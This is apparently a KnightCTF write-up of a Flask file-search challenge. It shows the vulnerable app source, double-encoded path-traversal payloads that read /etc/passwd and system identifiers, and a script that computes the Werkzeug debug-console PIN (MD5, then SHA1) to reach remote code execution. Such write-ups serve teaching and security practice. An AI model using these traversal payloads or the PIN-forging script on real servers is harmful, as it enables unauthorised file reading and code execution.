Statement:

One of my college friend is learning web-dev with Flask . One day he showed me his very first website for file searching. But he did a mistake. And somehow I managed to break into his website. Now can you spot the mistake and help him to secure his site?

Demo Flag: KCTF{Fl4g_H3r3}

http://167.99.8.90:7777/


By visiting the website, I can see the presence of a search field : knight

During a search, a POST request is made on the filename parameter :

POST /home HTTP/1.1
Host: 167.99.8.90:7777
Content-Length: 10
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://167.99.8.90:7777
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://167.99.8.90:7777/home
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

filename=x

When trying to get an invalid path with GET request, I get the following page with error messages :

knight1

In the error messages, I can read the following source code :

if __name__ == "__main__":
   app.run(host='0.0.0.0', port=7777 , debug=True)

The rendering of the error page and the messages indicate that the site runs under python with debug set to true.

I decide to check the headers returned by the site to know the versions used : curl -I http://167.99.8.90:7777

HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.9.16
Date: Sun, 22 Jan 2023 15:56:37 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1116
Connection: close

With this information, a request on the endpoint /console should redirect me to a debug console but this one is protected via PIN authentication : knight2

It is possible to calculate the PIN by retrieving some metrics, for that I would have to find a LFI. Probably via a POST request on the /home endpoint !

A simple search on app.py returns the source code : knight3

Here is the source code once beautifying :

from flask import Flask, request, render_template, current_app 
import os, urllib

app = Flask(__name__)
@app.route("/") 
def start():
    return render_template("index.html")

@app.route("/home", methods=['POST']) 
def home():
    filename = urllib.parse.unquote(request.form['filename'])
    data = "Try Harder....."
    naughty = "../"
    if naughty not in filename:
        filename = urllib.parse.unquote(filename)
        
    if os.path.isfile(current_app.root_path + '/'+ filename):
        with current_app.open_resource(filename) as f:
             data = f.read() 
             return render_template("index.html", read = data)
             
@app.errorhandler(404)
def ahhhh(e):
    return render_template("ahhh.html")

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=7777 , debug=True)

By reading the source code, we know the following points :

  • Filter on ../
  • Positionned on the root directory of the application + /

With this information, a multiple encoding should allow to exploit a LFI.

I will try to get the file /etc/passwd with double encoding :

%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fpasswd

knight4

Now I need to retrieve the following information to generate the PIN code :

  • username
  • modname
  • getattr(app, '__name__', getattr(app.__class__, '__name__'))
  • getattr(mod, '__file__', None)
  • str(uuid.getnode())
  • machine-id

I know already some values :

  • username value from /etc/passwd : yooboi
  • modname : flask.app
  • getattr(app, '__name__', getattr(app.__class__, '__name__')) : Flask

I find getattr(mod, '__file__', None) value from the traceback page : knight5

For str(uuid.getnode()) value, I get the file /proc/net/arp through LFI :

%252E%252E%252F%252E%252E%252F%252E%252E%252Fproc%252Fnet%252Farp

knight6

Now I know I can get the file linked to eth0 /sys/class/net/eth0/address :

%252E%252E%252F%252E%252E%252F%252E%252E%252Fsys%252Fclass%252Fnet%252Feth0%252Faddress

knight7

I convert MAC adress to decimal expression :

>>> print(0x0242ac110003)
2485377892355

And the latest value machine-id from /proc/sys/kernel/random/boot_id :

%252E%252E%252F%252E%252E%252F%252E%252E%252Fproc%252Fsys%252Fkernel%252Frandom%252Fboot_id

knight8

I’ve to adapt the script with our values :

import hashlib
from itertools import chain
probably_public_bits = [
    'yooboi',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.9/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485377892355',# str(uuid.getnode()),  /sys/class/net/ens33/address
    'e01d426f-826c-4736-9cd2-a96608b66fd8'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

I get back the value 276-444-173 but this PIN code didn’t unlock the access to the console.

From that moment, my team and I were stuck on this challenge.

Later, we found this resource that specifies the following point :

Newer versions of Werkzeug use SHA1 instead of MD5

All that was left was to modify the script to use SHA1 :

h = hashlib.sha1()
#h = hashlib.md5()

I get the following PIN code : 695-086-043 and this one unlock the access to the console.

Once access to the console, it is possible to RCE via a python shell : knight9

Flag: KCTF{n3v3r_run_y0ur_53rv3r_0n_d3bu6_m0d3}

We were a little frustrated to not finish it in time, but the challenge was interesting.